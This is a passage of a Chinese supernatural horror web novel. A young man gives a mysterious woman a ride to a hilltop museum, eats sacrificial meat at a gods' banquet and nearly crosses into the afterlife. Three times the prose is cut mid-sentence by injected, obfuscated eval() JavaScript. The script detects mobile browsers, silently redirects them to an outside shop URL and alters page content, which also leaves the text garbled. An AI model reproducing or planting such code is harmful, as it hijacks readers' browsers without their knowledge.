《超自然寻回清单》 1. 山坡上的博物馆 “您心肠真好,好人有好报。”坐在副驾驶上的女人笑眯眯说。 外面下着大雨,不时落下一道雷来,轰隆隆地震响山野。 “没有,正好顺路。不过这么晚了,又在下雨,你怎么一个人在国道上走?幸好我反应快,不然很可能撞到你。”说话间,我侧头看了眼旁边气质独特的女人。 女人看上去年纪不大,面容十分精致,皮肤像瓷器一般细腻白皙找不到半点瑕疵,刚过下巴尖的乌黑短发整齐而垂顺,左腕戴着一串银色铃铛。她身上散发出不似人间物的气息。然而正是这点,让她本就好看的外表多了分神秘之美。 是我迄今为止所见过的、最惊艳卓尔的女性。 “能在今晚遇见,说不定冥冥之中有种缘分。”女人抱着一块用黑布包裹的长形物,粗看下大约三十公分长、十五公分厚。她目视前方,双手抱着物品自然垂放在腿上,优雅又端庄,“能告诉我您的名字吗?” 我笑起来,大方介绍自己:“我姓赵,叫赵义之。你呢?” 一道青蓝色的闪电撕裂漆黑的夜空,随后便炸响了雷声。 雨刮器奋力挥动着,却也只是勉强赶上雨落在挡风玻璃上的速度。车内放着音乐,是点火通电后手机自动连接蓝牙开始播放的,最近他喜欢的抒情歌。 可是雷雨声太大,几乎盖过乐曲的旋律。 明天是外公的八十大寿,几天前和家里说好要回去,于是傍晚一下班我就开车往回赶。 老家距离我现在定居的城市大约有百来公里,开车走一段高速后再转向国道行驶四十分钟,不堵车的情况下两个小时内能到。很近,但我不常回去。 雨是车上高速走了约莫一半路程时开始下的,来得急切又猛烈,我不得不放慢车速,使得车开上国道时天色已经变得晚了。双向四车道上车辆很少,或许是因为这大雨,又或许是因为饭点已过,该回家的大都已经回家了。 出发前随便往嘴里塞了块饼干,想着赶回家再吃,哪知道突然下起暴雨。此时腹中空落,不免急躁起来。 我瞄了眼仪表盘上显示的时间与时速,不耐烦地闪闪远光灯催促前面的车辆。但它无动于衷,我只好拨开转弯灯变向右边的车道,踩下油门提速超车。 发动机嗡地发出轰鸣,在车前脸即将超过隔壁白色轿车时,忽然,我看见有人穿过国道中间的绿化隔离带正在过马路。我紧急踩下刹车,心脏好似被猛地用力攥紧刹那间不再跳动。我甚至顾不上祈祷,只能浑身僵硬地握住方向盘一动不敢动。 下雨天路面积水的情况下踩急刹非常危险,如果轮胎的抓地力不够,车辆很可能会打滑,最坏的情况是车头偏移,在压过行人的同时车尾横甩将旁边的白色轿车撞上护栏,然后侧翻栽进路沟。 一祸三命。 幸好,车停下来了。我的心脏恢复跳动强烈撞击着胸骨。 白色轿车的车主似乎也被吓得不轻,愣了好几秒才慢慢从站在我车前的女人身边开过。 女人穿着一袭白色蕾丝连衣裙,在雨中撑着一把赤红的伞,被车头的远光灯一照,竟显得有几分妖异。 我用力拍响喇叭,以示自己的怒火,并催促她赶紧过去。 透过朦胧的雨,她转头看着我,像是致歉一般微微欠身,接着对我露出一个笑。 奇怪的事发生了,我的愤怒与惊魂未定顷刻间灰飞烟灭,油然而生的是难以名状的悸动。 随后,我顾不上翻找车里的雨伞拉开车门跑下去,邀请她上车,许诺将她送到目的地。在此,我需要郑重申明一点——本人绝不是个见色起意的肤浅男人。 “前面右转,顺着小路走。”女人先为我指了路,随后才回答问题,“您可以叫我阴女。” 很……特别的名字。 据她所说,她要去的是一座修建在山上的博物馆,为了赴五年一次的宴会。 我不禁为她感到担心:“博物馆怎么会建在山里。请你去的不会是什么可疑人员吧?你以前认识他吗?现在到处都是不安好心的人,出门要注意安全,尤其是女孩子,多留个心眼,可千万别被骗了。” 阴女笑起来,将左鬓的头发捋向耳后,动作神态特别妩媚:“那……希望我遇到危险的时候,赵先生能及时出现,就像刚才一样。” 暧昧、勾人。 我挑了一下眉,嘴角不经意勾起笑:“如果你愿意,我当然没意见。不过,最好还是别遇上危险。” “果然,我没看错。”阴女又说,“您是个好人。” 我重重叹口气舒展身体:“只是运气不怎么好。” 她呵呵笑起来:“只是差一个契机。不过……” 阴女没再继续往下说,我转头看后视镜时,顺便也看了她一眼,笑着问:“不过什么?” 她只是笑。 我驾驶汽车穿过小镇开向前面不远处的一座小山坡。小镇名叫白龙,是个毫无特色随处可见的普通地方,唯一令人有记忆的点,是这里的鱼很好吃。我曾经带前前女友来吃过,她赞不绝口。 白龙镇距阴女要去的山坡其实不远,只是中间隔着一条河,白天有渡船往返两地。要开车上去,得从小镇的另一端走小路,大概绕个十来分钟。山坡上有座庙,庙里有我和前前女友挂的同心锁。我从没听说过什么时候修了个博物馆。 况且,博物馆开在这么偏僻的地方,真的有人来? “前面就到了。” 大雨渺渺间,远光灯隐隐照出一栋黑漆漆的建筑物,如果不是阴女说出这句话,我甚至无法注意到那就是目的地。它没有半点光亮,融在树影之间,浑然不觉。说实在的,这副景象过于让人毛骨悚然了。 我不由得用余光瞥向阴女。还好,她还在。 将车停在所谓的博物馆门口——应该是门口,我转头对阴女说:“你确定这里有宴会?看起来不太像有人的样子。” 解开安全带的阴女想了想,歪着脑袋冲我笑:“确实不太像有人的样子。您愿意陪我进去吗?” 还用问吗,当然不愿意。 “要不……我还是送你回家吧。”我强挤出笑容,“女孩子来这种地方真的不安全。更何况你还是一个人,又在下雨,遇到点什么事警察都不一定能及时赶来。” “可是……”阴女露出为难的表情,“我已经和馆主约好了。” 不不不,如果这里真的是座博物馆,那馆长要么是隐姓埋名穷凶极恶的大混账,要么不是人。 咚咚。 驾驶室的车窗忽然从外面被敲响。这好比午夜时分我路过一片坟场,心惊胆战地提防着随时可能出现的可怕景象,双腿一边发抖一边坚强地迅速走出去。然后在长舒一口气放下戒备的时候,长发飘飘的红衣女鬼突然倒吊着与我脸对脸。 我被吓得惨叫一声。 阴女咯咯笑起来:“不用这么害怕,是馆主。”她说完便拉开车门撑伞下了车,“馆主,是我送肉来了。” 在我的惊魂未定中,阴女弯腰向车内的我说了声“我在馆内等您”,随后关上车门走了。 远光灯照见她与所谓馆主的身影,以及博物馆那对雕刻着奇怪花纹的红色双开大木门。 我坐在车里久久回不过神,寒意像海岸边的浪,一阵一阵涌上来。 或是因为下大雨的缘故,四周只有夹杂着雷鸣的哗哗雨声,和音响里反复播放的同一首抒情歌。这一切像梦魇般不真实,我的眼中所见、我的耳中所闻、我的身体所感,比那海市蜃楼更虚无。 我明白现在最该做的是立刻开车离开,绝不能犹豫半分。 汽车没有熄火,只是挂在停车档上,现在迅速挂后退档倒车,我就能立刻离开这个鬼地方。 然而阴女关上车门前的那句话却久久回响在我耳边。 我在馆内等您。 仿如有种无形的力量催动着我的身心,让我忽略大脑发出的危险警示,想冲破被暴雨模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248774|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊的挡风玻璃,闯入眼前这座诡异的博物馆。 我不该拉起手刹,更不该解开安全带开门下车。 我大概是疯了,才会这么做。 站在博物馆的红色大门前,身体冷得不知雨水的温度。我很确定自己的思维是清晰的,更没有莫名其妙的好奇心,可偏偏这具身体不受控制。 它不受我的控制。 牵着我、推着我,非要让我走进这栋建筑物的无形力量温柔又强大,将我的灵魂穿上线,随意操控。 终于,我的手颤颤巍巍抬起来,按下门铃。 一股巨大的力量撞破大门,混合着血腥味的气息扑在我身上。幽暗中,有一只看不清全貌的怪物蠕动着,仿佛刚从深渊中爬出来,正饥肠辘辘四处觅食。而我,作死的我,把自己当作美味佳肴献给了它。 我转身想逃命,一条满是倒刺的猩红口器刺穿我的身体,将我拖入无限黑暗里吞噬殆尽。 吱呀。 红色雕花大门从里面打开,幽香带着暖意拂我面,将我从惊悚的幻想中救出来。 一个男人出现在门后,安静得没有一点脚步声。借由车上没熄灭的大灯,我认出他就是刚才敲车窗的馆主。 “什么事?”男人开口了。声音有些沉,有些冷。 他戴着黑色椭圆墨镜,身形消瘦,脸上露出的皮肤显得比常人苍白些许,尽管与绝大多数普通男性相比他的头发长太多,但他并没有放任不管,而是整齐地梳在脑后绑起来。他身上的深绀色中山装偏长,遮过膝盖。纽扣像呢大衣上面的羊角样式,但比之小不少,整列在偏左一点的位置——我的左边。上衣用金线绣着一条双头蛇。就蛇本身而言无疑是畸形的,不过纹样经过设计,由左胸延展至肩膀,倒是并不怪异。 香味似乎正是从他身上传来的,确定这件事的瞬间,我不再对眼前黑暗的博物馆感到恐惧。 “呃那个,宴会我能参加吗?我肚子饿了。”我厚着脸皮开口。要是在平时,我绝对不会这么做。 “回去,这不是你该来的地方。”馆主的声音没有任何起伏,如同他整个人平静的气场一样。 他说完话不等我回答,便要关门。我迅速伸脚卡在门缝间,阻止自己吃闭门羹的同时疼得呲牙咧嘴。 “脚、脚!我的脚!你夹我脚了!” 没错,我赵义之有时候就是这么不要脸。 馆主再次拉开门,态度依旧是那么波澜不惊:“我再说一次,回去。你不该来这里。” 他话音刚落,老天像是帮我发起抗议,一道闪电炸礼花般劈下来,紧跟的雷声几乎摇晃了整座山。而这数秒间的轰鸣后,世界彻底陷入黑暗。 我回头看向断电熄火的车,惊得目瞪口呆。要是此刻还坐在车里……不敢细想。 “你、你刚才看见了吧?”我激动地指着车的方向往馆主身上凑,“还好我没走,被这雷劈中不死也焦了,果然好人有好报,阿弥陀佛阿弥陀佛。” 馆主没有推开我,他的身体甚至像钉在原地的柱子,纹丝不动:“我眼睛看不见。” 原来是个瞎子。 “馆主。”阴女的声音从博物馆里传出来,“房间里的三位不介意赵先生留下来。” 我转头看向博物馆,只能看见无尽的幽暗中隐约浮现出的一张笑脸。 馆主沉默两秒,问阴女:“你问了?” “做准备时提了一句。”阴女的语气中透着笑意,“也许这便是缘分。” “那三位,想做什么?” 阴女眯眼呵呵一笑:“赵先生是个好人,一定是个好机缘。” 馆主没再赶我走,而是推着一扇门走到旁边:“进来吧。” 我当然不跟他客气:“多谢收留之恩,我借贵宝地休息一下,等不打雷了就走,绝不给几位添麻烦。” 在我从他身边跨过门走进博物馆时,他用仅有我们两人能听见的声音又说:“想活命,别抱好奇心。” 2. 献给神的珍味 我有个优点,就是没什么好奇心。 有时候好奇会带来一些机遇,所以我的运气向来不好。 啪嗒,馆主关上门。 博物馆内漆黑一片,只不时凭借玻璃窗外透进的蓝青色闪电勉强能照亮一点。我就像个瞎子,伸直手臂摸索着往前走,却又根本不知道该往哪里走。 “停电了?”我问。 难道宴会不需要任何光亮吗? 一只冰冷的手抓住我的右手腕,没有半点征兆。浸骨的寒意如同一圈一圈在黑暗中化开的涟漪,以那只手为中心将我困在其中。 心脏似过电般骤然收紧,刹那间,我双腿一软,跪下了。唯一还能感觉到的,唯有右手被那个抓我的东西往上提了一下。 “不是在这里休息,跟我走。”说话的是馆主。 顺着那只抓住我的手往上摸,柔软的衣服面料下是紧实的人类手臂,无比真实。我站起身小心问:“馆主是不是气虚?还容易盗汗?” 阴女噗嗤一声笑了。在视觉起不到任何作用的漆黑中,她轻柔的声音居然也显得有几分瘆人。 馆主没有回话,拉着我不知往哪里走。两道硬鞋底踩在木地板上的声音总是合不到同一个节奏上,我注意到了,试图说些什么有趣的话来缓解怪异的气氛。可无论我抛出多少话茬,馆主都不做回应,倒更显得是我不稳重。 可能馆主是个机器人吧,我想。 所以才假装瞎子将眼睛遮起来,毕竟假人的眼睛做得再好,也不可能与真的一样。 原来如此。 我清了清嗓,打趣问他:“你问市多久啦?” 这句话很奇怪,如果是我,一定会接一句“问什么市”。 可馆主没回答。我顿时失去了大部分兴趣,只能无奈解释:“就是问你年龄。” 走在前面的馆主在停下来的同时松开手,转身面对我:“这里是你休息的地方,有沙发。你随时可以离开。只是,倘若离开时听见钟声,要闭上眼睛,千万不能偷看。在此期间无论听见什么,都别乱跑。” “你们这个博物馆真的从来都不开灯?”我弯腰试探着寻找沙发的位置。很快,手掌便触碰到木制的家具。 “没有灯。” 凭着窗外闪电的光,我确认沙发的位置后,坐上去,习惯性翘起二郎腿:“那蜡烛呢?蜡烛总有吧,这也太黑了。” “有是有。”馆主说完这句便沉默了,似乎在想着什么。 他的语气中虽然依旧没有任何情绪,好似我这个人的存在不值得让他有情绪。 可我不习惯这种黑暗,当然,除了睡觉的时候。 怕他拒绝,我立刻竖起食指:“一根,我用来照个光。黑灯瞎火的不方便,万一我不小心撞坏了什么东西,你和我都难受。” 我在等他点头答应。 空气静默片刻,他才说:“可以给你用,但有个条件。不能对蜡烛许愿。” “不过生日我许什么愿。”我笑了一下,“除非有蛋糕。” “‘我想’、‘我要’、‘我希望’等,诸如此类的话都不能说。” “说了会怎样?” “愿望会以最残忍的方式实现。” 不知道是不是他故意要吓唬我,但我依然立刻闭上嘴,过了会儿才说:“放心吧,我没有那种不能做什么就越要去做的毛病。” “我去拿。” “哎,对了。”我立刻喊住他又说,“麻烦你顺便再帮我拿点水和吃的,谢了,我快饿死了。” 在我说完这句话后馆主才忽然停下脚步,说:“‘死’字说多了,真的会丢掉性命。” 我及时闭了嘴,深吸口气用力点了一下头:“嗯!我记住了,我长命百岁还是个大富豪!” 和许愿不同,这是一种吸引定律。 几分钟后,馆主曾远去的脚步声又渐渐靠近,回荡在长长的走廊里越来越响亮。他双手端着一个大木盘走回来,食物、水与蜡烛全放在上面。摇曳的火光映于他胸前,正好是蛇头的位置。金丝绣成的蛇纹本应和衣服布料一样是死物,可光晕蒙蒙间,那两只蛇头上的眼睛竟是陡然收缩变成了竖瞳,齐齐直勾勾与我对视。 奇怪的是我并未感到害怕。 “什么蛇有两个脑袋?” 馆主正弯腰将盘子放在沙发旁边的木茶几上,听见我这个问题,他并没有做出特别的反应,只是淡淡问:“什么猫有九条命?” 我脑筋一转:“没死过的猫。” “如果水和食物不够……”他没有周到地将木盘里面的东西拿出来,只是放下了,“你只能忍一忍了。” 诚然,他也没有义务要那么周到。 我抓起盘子里的午餐肉罐头,愣了愣:“只有这个了吗?” “嗯,这里不储存食物。” “那你平时吃什么?” 馆主再次沉默了,片刻后才道:“好好休息。” 他离开了这个房间,剩我独自一人捧着午餐肉发愣。 我完全不好奇他们的宴会上究竟有多少美食——好吧,我承认,还是有一点好奇的。我打开罐头,闻了闻,拿起勺子。午餐肉虽然是熟的,但我从来不直接吃,这样未免有点浪费食材了,必然要经过牛油火锅的洗礼,才能激发它最大的美味。 显然目前的情况不容我太过矫情。 整座博物馆静得如同不属于这个纷扰混沌的世界,有种难以言表的纯净,唯一将两者联系在一起的,是勺子碰到金属罐的杂音。 如果说填满这个世界的是原始的欲望、是百种千样的痛苦、是如同氮气一般浓厚的迷茫,那这个地方,这个空间,一定不属于我所知道的世界,一定来自异界。 此刻的我宛若无家可归的流浪汉,躲在月光照不进的黑暗桥洞下,可怜地吃着仅剩的食物,两眼呆滞。 火光很快再次吸引我的目光。以常理,即使在门窗紧闭的屋子里,火苗仍会因为从各种缝隙间来回的气流而摇曳,它从不是静止的。可眼见烛台上的这一丝火苗却静止不动,无论是蜡烛本身还是烛台,都不见一丁点融化的蜡油痕迹。 很像为了预防火灾而改良的电子蜡烛。 我放下还剩一大半的午餐肉,向蜡烛上的火苗伸出手,试探着慢慢靠近,实实在在感到受到火焰的温度后才拿起蜡烛稍稍倾斜,尝试让蜡油滴在木盘上——在揭晓结果之前,请容我描述一下这支蜡烛的模样。 或许是受到火光暖调的影响,目前我所看见蜡烛的颜色偏黄。其直径与我的小拇指相等,大约7公分,长度超过了15公分,整体比平时家里用的普通蜡烛大许多,并且没有任何气味。 没有丝毫蜡的气味。 在这支蜡烛身上,我看不到有什么特别之处,以至于需要馆主特意叮嘱。 我将蜡烛放回它原本的位置,确认它不会在我松手后突然倒下,这才慢慢收回手。 是的,我刚才尝试让蜡油滴在木盘上,结果失败了。烛火无法融化周围的蜡。 我往后靠向木制沙发的背靠,手臂裸露的皮肤感受着木头的凉意,发了片刻的呆,随后猛然想起应该给家里打个电话报平安。我摸遍浑身上下,终于想了起来,手机还在车里。 平时,我绝不会犯这样的错,今晚好像一切都和平常不一样。我懊恼地狠狠拍打自己的脑袋,纠结半刻后站起来,整理好可能弄乱的发型,再次拿起蜡烛朝外面走。 没事的,只是去拿手机而已,并不是故意在博物馆里乱逛,不算作死。 沿着来时的走廊往回走,蜡烛微弱的火光照不了太宽的范围,我不得不贴着墙壁慢慢往前。 来的时候只是一味接受馆主的引导,即使窗外闪电偶尔照亮四周,我也无暇仔细观察环境。而现在,出于各种各样的原因,让我有闲暇四下打量。说是四下打量,其实也不过是凑近看了看墙壁与地面。 虽然我平时不怎么逛博物馆,对建筑风格也没兴趣,但我还是知道,为了预防火灾破坏文物,用木板铺满墙壁和地面都不是明智之举。尤其是这座博物馆建在山上,遇上火灾的风险远比其他地方高。 如我对这座博物馆的第一印象一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248775|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这里充满了违和感。 不知走了多长时间,蜡烛上的火苗竟是抖动几下,它终于从沉睡中醒过来。 外面的暴雨似乎停了,我听不见雨声,安静得像一切声音都被封禁在墙壁中。我只能听见自己的呼吸和心跳。 泠嘤。 远处隐隐传来悦耳的声响,空灵、干净。像是有人低声絮语,又像仙音缠绵清越。是弦乐声。我受此琴音指引,一步一步偏离原本该走的方向,不由自主循着耳中的音乐慢慢靠近。 音乐逐渐变得清晰,混着老人呵呵的笑声。最后我站在一扇虚掩的木门前,透过泄露出光明的门缝,朝里窥探。 我刚伸出脑袋,门便开了。 如白昼般金日高悬的强光刹那间夺走我的视力。我抬起手挡在脸前闭眼缓和很久,才试探着微微睁开眼。 房间……不,或许该称为大厅更贴切。鹅黄晨曦色的光充盈着大厅每个角落,即使是在物品放置之处也不见一寸阴影。 这种景象非常奇怪。 人所能看见的光,比如阳光、灯光,以及物体反射出的高光,全都只是“部分”,而更多的是物体在光照之下的反射。我眼前这种宛如光本身变成一件有实体的物品溢满某个空间的情况,比如丝绸、比如水流,实属不常见。我想,如果没有走进这间博物馆,我这辈子都不会看见这般圣景。 而我此刻被大厅散发出来的奇妙光辉包裹着,好似置身于温暖的水中,身心都十分愉悦舒服。这种舒服与生物的欲望无关,非常纯粹浓烈,是我从不曾感受过的,让我不禁希望就此融化在光里,哪怕再没有一丝自我。 我也,充满了违和感。 “既然来了,便过来一起坐吧。” 年老的声音传来,眨眼间我便来到大厅里——我不记得自己怎么进来的了。 大厅中央、光辉尤盛之处,有个正方形的席台,上面有三位白发苍苍的老人围着一件貌似香炉的青铜器盘腿而坐。他们身后摆放着屏风,一扇上面是吹凑,一扇上面是起舞,一扇上面是吟唱。 青铜器上冒着水汽,像是在烹饪什么东西。蛋白质的香味阵阵扑鼻而来,勾起我的口腹之欲。 馆主和阴女都不在。 “会不会不太好?”我口水长流,但还是保持着谨慎。 “门已开,进退皆是不难。” “馆主……和阴女呢?”我鼓起勇气问。 三位老人捻着白色胡须笑起来,表情带了一抹不可说的神秘。 “那我坐一会儿。”我走上席台盘腿坐下,忘记是什么时候脱的鞋。 “正好,差不多了。” 老人话音落下,屏风前出现一名年轻男人,手里拿着细长的匕首。他走近青铜器,跪下来,用手中的细长匕首在里面划拉。随后又出现了三名年轻男人,手里各拿一副碗筷等在他身旁。拿匕首的男人回头,他们便递上前一只碗,盛好了,递碗的男人又接回来,送至一位老人的案桌上。 我愣愣地看着他们给老人送上满满一碗粉色的肉,情不自禁咽了口水。 有必要申明一点,我不是个贪吃的人。只怪那粉白色的肉闻上去实在过于鲜美,才让我也产生了一点人的欲望。 “剩下的,都给这位小朋友。”一位老人指了指我。 分肉的男人这才抬眸看过来,神情中稍稍有些惊讶:“可他是……” “无妨,来即是缘,这食物该有他的一份。” 不得已,男人只好新添了一副碗筷,盛上青铜器中最后一点肉渣与汤汁,端给了我。 “谢谢师兄。”我准备放下手里的蜡烛伸手接碗筷,才发现,不知什么时候它已经熄灭了。 真是怪事。 许是见我半晌没接,男人将碗筷放在我面前的案桌上——至于我面前几时出现的这只桌子,我已经丝毫不在意了。 碗里飘来足以摄人心魄的香味,早已勾走我的心魂。我慢慢捧起碗,尝了口鲜美的汤汁,迫不及待夹起一筷子碎肉放入口中。 不需要咀嚼太多,粉白的肉就在口腔里化开。 3. 穿过了隧道 虽说是肉,却既不是瘦肉也不像肥肉,反倒有几分像广式双皮奶,是嫩滑而破碎的口感,又带一分淳厚。其味道十分朴实,没有掺杂任何香辛料,连盐也放得不多,正因如此才使得这碗肉咸鲜之余又回口甘甜。 我将浓稠的汤汁与肉一起喝进肚子,满足地舔干净嘴唇周围的残留,抬头正想询问这是哪种动物的肉,却发现满是金光的大厅不知何时已消失,三位老人以及那四名年轻的男子也随之不见。 剩下的,只有孤身一人的我与昏暗的走廊。 唯独遥远的尽头有一团光。 周围传来水珠滴在石板上的声音,带着空悠的回响,清脆而圆润。 眼前的走廊不知不觉变成一条阴暗的隧道,四周是爬满绿色苔藓的平滑石板。不知是谁修了这样的隧道,也不知是为了谁而修了这样的隧道,我带着茫然看向远处的光,觉得自己应该走过去。 老人与男子的面容在我的记忆中已然变得模糊,连那碗我认为格外美味的肉汤,我也想不起味道。我只记得自己开着车,行驶在暴雨的夜晚里,还差一点,就能到家了。 明天是外公的八十大寿,我给他老人家买了块普洱茶砖。 还有什么…… 我好像还忘了什么重要的事…… 吧嗒,吧嗒,是我光着的脚掌走在石板上的声音。 石板有些潮湿,想来是因为石壁漏水的缘故。我的所有困惑在滴水敲石凑响的轻灵之音中化为碎屑,随着脚步的一路往前,而徐徐落下留在石板上。 走出隧道,眼之所处尽是葱郁的草地,像地毯。我站在隧道口停留片刻,再次迈出脚步。与坚硬的石板不同,长满青草的泥土地十分柔软,经脚掌一踩,便凹陷了些许,又在脚掌离开后慢慢恢复。 我能很明确地感受到脚下的草地,以及每一次踩上去时,正好从趾缝间露出来的草叶。 风吹过来,带有一丝丝凉意。清新的空气从我的皮肤穿入体内,将陈年累月堆积起来的腌臜全部洗去。我的身体变得越来越轻盈,犹如终于摆脱了尘埃的束缚,回归到我本该属于的地方。 草地前方是一片粉色的花海,远远的,有个小女孩站在花海里向我招手。我深吸一口气,迫不及待走向她。 “你来了。”不等我开口问,小女孩先说话,“还记得我吗?” 我疑惑地看着小女孩仔细想了想。我好像见过她,可又想不起来她究竟是谁。 “我们已经好久好久没见啦。”小女孩笑起来,“你肯定不记得我了。” 她看上去也不过年约六七岁。 “我是你的文芷姐姐呀!” 我的确有个叫文芷的姐姐。 文芷姐姐比我大两岁。在我五岁的时候,她出车祸死了。 我惊讶地看着她:“文芷姐姐,你在这里干什么?” 穿着黑色连衣裙的文芷姐姐走过来牵起我的手:“玩啊。我们回家吧,爷爷奶奶还不知道你来了。” “爷爷奶奶也在这里?”我低头看着她,任由她牵着我走。 “我们住在对面的山上。”小女孩伸手指着不远处的山,“你看,那是我们的房子。” 我顺着她手指的方向抬头看去。 花海之间有一条宽阔的碧蓝色大河,河对岸是高低起伏的青山。在那青山上,一座座木头搭建的房子错落排列于花海丛林间。而在青山后面,有一道弯弯的彩虹。 我被文芷姐姐牵着走到大河边。大河之上水光粼粼,清澈得能看见河底有小鱼在嬉戏。我左右看了看,这条河不见来处,亦是不见归路。 文芷姐姐先下了水,然后来拉我:“河不深的,我这么矮都可以走过去。有姐姐在,不怕。” 我低头看着美丽的河水,想象着冰凉的河水包裹双脚的感觉,丝毫没有恐惧。 “赵义之。” 微风之中,我听见有谁在叫我。 “赵义之。” 声音从我身后传来。 我回头去看。 粉色花海后、青草地之上,有个身穿深绀色中山装的男人笔直地站在那里,直直盯着我:“赵义之,不能过河。” 文芷姐姐忽然松开我的手:“快回去吧,你还不可以来这里。” “为什么?”我看向文芷姐姐,疑惑地问,“我已经在这里了。” 文芷姐姐用力摇头:“但是你现在应该回去。” 我转头看了眼穿中山装的男人,不太确定:“我应该回去吗?” “嗯!你先回去,到了时间再来。” “那……好吧,我先回去。” 我向文芷姐姐道了别,朝穿中山装的男人走去。 男人身姿修长板正,面无表情等着我。走得近了我才看清的他的面容。 红润剔透的脸颊,红润剔透的唇。 柔和的面部之上是深邃而明媚的五官,宛如上天精心雕刻的一件杰作,连绑在脑后的卷曲灰棕色头发的纹理都是美的一部分,超越了男女之别,是看过第一眼后即使到死也无法忘怀的美。极具冲击力,却又不带任何侵略性,反而有着平淡的冷与疏离。 尤其是那双几近灰白的浅色眼瞳,冷淡之中又藏几分哀愁,定定看向某处时,如同剥开世界的伪装在看真理。 他看上去是那么的圣洁、神秘、矜持,不可方物,就像夜空中那一抹月光,高雅、纯净、忧郁,无法触及。 任凭谁见了,都会被他深深吸引沉醉其中,难以自拔。 美得,让神创造出这个世界,当做礼物送给了他。 “我不该将你独自留在房间。”男人抬起手,用食指点在我眉心。 愣神之后,我被一阵鸟叫声惊醒,又回到那间博物馆,站在走廊上。什么草地啊、花海啊,全都不见了。 走廊的玻璃窗外天已大亮。经过昨夜的暴雨,天空蓝得有些晃眼,不知名的鸟叫啊叫,此起彼伏像在开大会。 “赵先生回来了吗?” 我听见阴女的声音从下方传来,于是低头看去。 阴女跪坐在地板上,另一个我、另一个赵义之平躺在地上枕着她的双膝,她抚摸着那个赵义之的脸,目光看向旁边的馆主,好似不知道这个我的存在。 馆主仰起脸面朝我的方向,椭圆形的墨镜被他取下来拿在手里,那双浅灰色的眼睛直勾勾地盯着我的所在之处:“回来了。” ———— 赵义之慢慢睁开眼,最先看见的是阴女面带微笑的脸。他吓了一跳,立刻坐起身来揉揉眼睛,找到掉在地上已然熄灭的蜡烛嘟囔道:“我怎么会睡在这儿?” 馆主戴好墨镜,从他手里拿走蜡烛站起身。 阴女握起拳头一边垂着自己的双腿一边故意皱眉说:“赵先生可让我担心坏了。” 赵义之露出抱歉的笑:“是我的错。” “我叮嘱过你不要乱走。”馆主说。 赵义之在他声音里听不出半点埋怨或是生气,但他还是解释道:“我昨晚本来打算回车里拿手机,也不知道怎么就睡在这儿了。我反省,保证不再犯。” 馆主微微低下头,面向赵义之的方向问:“你吃供品了?” 赵义之茫然地摇头:“我只吃了你给我的午餐肉。” “我该走了。”阴女缓缓站起身,理了理裙摆,将鬓边稍有凌乱的发丝挂到耳后,“馆主,五年后我再带着祭品来参加宴会。” 馆主向阴女的方向侧了头:“麻烦你了,五年后见。” “赵先生。”阴女俯下身,指尖轻轻拂过赵义之的脸颊,“希望我们有缘再见。” 赵义之被迷得神魂颠倒,露出呆呆的笑:“下次见。” 阴□□雅地转身,离开了。 “那我也——”赵义之站起身也准备走。 现在出发的话,或许能赶得上外公的寿宴。 可肩上却落来一只手死死压住他的身体。 “你还不能走。”馆主打断了赵义之的话与动作。 赵义之看一眼肩膀上骨节微红白皙修长的手,尝试从馆主的手中挣脱出来,却反倒被抓得更紧。他不禁疑惑:“这是怎么个事?” “你不能走。”馆主又重复一遍,用力抓住赵义之的肩不由分说往前走。 “我、我真的得走了。今天是我外公的生日,我要赶回去吃饭。”尽管馆主的手已经抓得十分用力,可赵义之却感受不到一丝疼痛,“噢,门票对不对?还有午餐肉的钱,多少?” 他这句话不是馆主想听的,所以馆主没有做出回应,无言地将他带到走廊尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248776|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的一个房间。 这是一间没有任何陈设的展厅,四壁之上雕着栩栩如生的古代人像石刻,着色颇具典雅的韵味。正中央有一块半米高的石台,外圆内方。怎么个方呢,就是像铜钱,中部是镂空的。而镂空之处有根石柱,稍高出石台些许,上面正正好放着一只青铜器。 赵义之见那青铜器眼熟,不禁咦了一声:“那东西是干嘛用的?我好像见过。” 馆主放开他,娓娓而道:“那是甗,是炊具也是礼器。殷商时期,用其来祭祀。” “哦。”赵义之还没有意识到问题的严重。 “下方鬲中的水烧开后,蒸气通过篦子上升,将甑中的祭品蒸熟。” “就是我们用的蒸锅嘛。” 馆主点点头,继续说:“祭品蒸熟后成为‘非此之物’,神便会享用。商朝以活人祭祀,所以甗中蒸的是人肉。” 相关的历史知识他多少还是有一些的,于是边听边点头:“到了西周活人祭祀才慢慢被废除。” “昨晚的宴会正是一次祭祀。”馆主淡淡说,“而你吃了祭祀的供品。” “我?”他不可置信,昨晚明明只吃了午餐肉,“你只给了我一罐午餐肉。” “在那之后。你误入了神的宴会,在这里,这个房间……”馆主抬起手指着石台上,“坐在神身边,分得一杯羹。” 